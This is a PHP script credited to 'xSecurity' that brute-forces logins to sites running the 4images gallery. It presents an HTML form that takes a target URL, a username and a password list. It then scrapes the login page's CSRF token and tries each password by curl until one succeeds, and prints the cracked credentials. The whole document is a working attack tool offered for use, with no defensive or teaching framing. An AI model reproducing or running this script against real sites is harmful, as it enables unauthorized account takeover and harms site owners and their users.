4images Brute Force

<form method='POST'>
<title>4images Brute Force PHP Version By xSecurity</title>
<center>
<input type='text' name='url' placeholder='site'>
<input type='text' name='username' placeholder='username'><br>
<textarea rows='16' cols='38' name='password' placeholder='passwords ;P'></textarea><br>
<input type='submit' value='Start Brute'><br>
</center>
</form>
<?
        /*
                By xSecurity
                4images brute force php version
                sec4ever.com - hackteach.org - is-sec.com
        */

        @set_time_limit(0);

        $site = $_POST['url'];
        $username = $_POST['username'];
        $pass = explode("\r\n", $_POST['password']);
        //$password = "pass";
        # Function Token
        function token($site)
        {
                $curl = curl_init();
                curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
                curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
                curl_setopt($curl,CURLOPT_URL, $site);
                curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                $start = curl_exec($curl);
                preg_match('/<input type="hidden" name="__csrf" value="(.*?)" /', $start, $token);
                return $token[1];
        }
        $hash = token($site);

        # Function Brute
        function brute($site,$username,$password,$hash)
        {
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($curl, CURLOPT_POST, 1);
                curl_setopt($curl, CURLOPT_URL, $site);
                curl_setopt($curl, CURLOPT_POSTFIELDS, "__csrf={$hash}&action=login&redirect=#&loginusername=$username&loginpassword=$password");
                curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                $brute = curl_exec($curl);
                return $brute;
        }
        foreach($pass as $password)
        {
                $b0x = brute($site,$username,$password,$hash);
                if(preg_match('/<p><a href="#">(.*?)<\/a><\/p>/', $b0x))
                {
                        echo "<center> Cracked Username: {$username} > Password: {$password}</center>";
                        break;
                }
                //brute($site,$username,$password,$hash);
        }
        @system("del cookie.txt");
        @system("rm cookie.txt");
?>